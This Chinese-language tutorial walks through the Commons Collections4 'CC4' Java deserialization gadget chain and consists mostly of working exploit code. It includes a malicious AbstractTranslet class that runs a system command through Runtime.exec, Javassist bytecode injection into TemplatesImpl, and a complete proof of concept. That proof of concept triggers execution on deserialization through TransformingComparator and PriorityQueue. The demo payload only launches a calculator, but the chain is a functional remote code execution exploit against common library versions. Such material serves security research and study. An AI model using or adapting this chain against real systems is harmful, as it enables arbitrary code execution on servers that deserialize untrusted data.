测试环境
jdk1.8(jdk8u71)
Commons Collections4.0
基于cc2和cc3,由于TransformingComparator+priorityqueue是可以触发transforme()方法所以可以利用这个两个类的组合来代替cc3链中的LazyMap或Transformedmmap+AnnotationinvocationHandler的组合,从而构成了cc4。
恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class evilClass extends AbstractTranslet{
//需要继承AbstractTranslet,因为在defineTransletClasses中会判断是否继承了这个类没有会报错
public evilClass() {
super();
try {
Runtime.getRuntime().exec("calc");
}catch (Exception e){
e.printStackTrace();
}
}
//两种触发方式构造方法和静态代码块
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
利用链核心
ClassPool classPool= ClassPool.getDefault();
CtClass ctClass=classPool.getCtClass("com.test.evilClass");
byte[] bytes=ctClass.toBytecode();
//将恶意类转换为字节码
TemplatesImpl templatesImpl = new TemplatesImpl();
Field field1=templatesImpl.getClass().getDeclaredField("_name");
Field field2=templatesImpl.getClass().getDeclaredField("_bytecodes");
field1.setAccessible(true);
field2.setAccessible(true);
field1.set(templatesImpl,"evilClass");
field2.set(templatesImpl,new byte[][]{bytes});
//通过反射将bytes和一个name赋值给TemplatesImpl的_name和_bytecodes
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templatesImpl})
};
Transformer chainedTransformer=new ChainedTransformer(transformers);
编写POC
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC4Poc {
public static void main(String[] args) throws Exception {
//用Exception免得边写边加报错类型
//将恶意类转换为字节码
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.getCtClass("com.test.evilClass");
byte[] bytes = ctClass.toBytecode();
//反射创建TemplatesImpl
Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Constructor<?> constructor = aClass.getDeclaredConstructor();
TemplatesImpl templates = (TemplatesImpl) constructor.newInstance();
//将恶意类的字节码设置给_bytecodes属性
Field bytecodes = aClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][]{bytes});
//设置属性_name为恶意类名
Field name = aClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates , "evilClass");
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
Transformer chainedTransform=new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator(chainedTransform);
PriorityQueue queue=new PriorityQueue(2);
queue.add(1);
queue.add(1);
//入队两个元素,之后通过反射替换掉
Field comparator=queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue,transformingComparator);
//将优先队列的比较器设置为transforminComparator
Field fieldQueue=queue.getClass().getDeclaredField("queue");
fieldQueue.setAccessible(true);
fieldQueue.set(queue,new Object[]{chainedTransform,chainedTransform});
//将两个chainedTransform入队,在触发比较器后就会调用transform方法
ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream=new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);
objectOutputStream.close();
//序列化
ByteArrayInputStream byteArrayInputStream=new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream=new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}